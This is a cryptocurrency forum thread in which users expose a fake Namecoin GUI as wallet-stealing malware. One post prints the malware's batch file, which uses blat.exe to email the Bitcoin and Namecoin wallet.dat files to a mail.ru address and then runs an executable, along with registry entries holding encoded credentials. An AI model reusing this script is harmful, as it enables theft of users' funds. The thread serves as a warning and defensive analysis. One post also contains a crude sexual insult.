Namecoin Forum

I've create my first namecoin GUI (Bitcoin GUI analogue).
Please, try and contact me about bugs and your wishes.


Edit by Khal : file removed

i guess ill try it inside a vm

edit: it did not run, im very suspicious of it, unless the author can explain how to make it work without "crashing"

geremi wrote:I've create my first namecoin GUI (Bitcoin GUI analogue).
Please, try and contact me about bugs and your wishes.

WOW..how has no one else raised their suspicions about this yet (in light of the magical NMC balance disappearing acts going on)..

RED FLAG HERE...do not download this!

i just signed up to say that the user who posted this crap is either stupid or impotent. I think both because when I was screwing his mother last night that's what she said to me.

Anyway:
File contents IP.bat
@echo off
blat.exe -install -server smtp.mail.ru -port 25 -f asdfgsetgwer@mail.ru -u asdfgsetgwer -pw 6483dfba2f0a9c770
blat.exe -to asdfgsetgwer@mail.ru -subject "Local" -attach "%APPDATA%\bitcoin\wallet.dat","%APPDATA%\namecoin\wallet.dat" -body "qwe"
1.exe

What is Blat?
Blat is a Win32 command line utility that sends eMail using SMTP (you can see it in the pic also )) )

Registry
HKLM\SOFTWARE\Public Domain\Blat\SMTP server: "smtp.mail.ru"
HKLM\SOFTWARE\Public Domain\Blat\SMTP Port: "25"
HKLM\SOFTWARE\Public Domain\Blat\Try: "1"
HKLM\SOFTWARE\Public Domain\Blat\Login: "YXNkZmdzZXRnd2Vy"
HKLM\SOFTWARE\Public Domain\Blat\Pwd: "NjQ4M2RmYmEyZjBhOWM3NzA="
HKLM\SOFTWARE\Public Domain\Blat\Sender: "asdfgsetgwer@mail.ru"

I think Khal needs to moderate posts like these or find a couple trustworthy people to help moderate the forum. Allowing posts like this sit on the forums for days can be detrimental to the namecoin project in my honest opinion.

Thanks for reporting this thing.
Sadly, other gui softwares are compiled, so, this will be more difficult to check if they are ok...

khal wrote:Thanks for reporting this thing.
Sadly, other gui softwares are compiled, so, this will be more difficult to check if they are ok...

Yep, you're going to run into problems like this. Avoiding such issues would be why I updated my GUI/shell to include the sourcecode. I would recommend requiring sourcecode be provided to allow for independent compilation after checking the code for surprises.

OddOne wrote:I would recommend requiring sourcecode be provided to allow for independent compilation after checking the code for surprises.

+1. Anyone who uses a closed source client is basically asking to get robbed.

JohnDoe wrote:

OddOne wrote:I would recommend requiring sourcecode be provided to allow for independent compilation after checking the code for surprises.

+1. Anyone who uses a closed source client is basically asking to get robbed.

+1. 100% Agree.

What do you think of the rule message ? Clear enough ?
http://dot-bit.org/forum/viewforum.php?f=9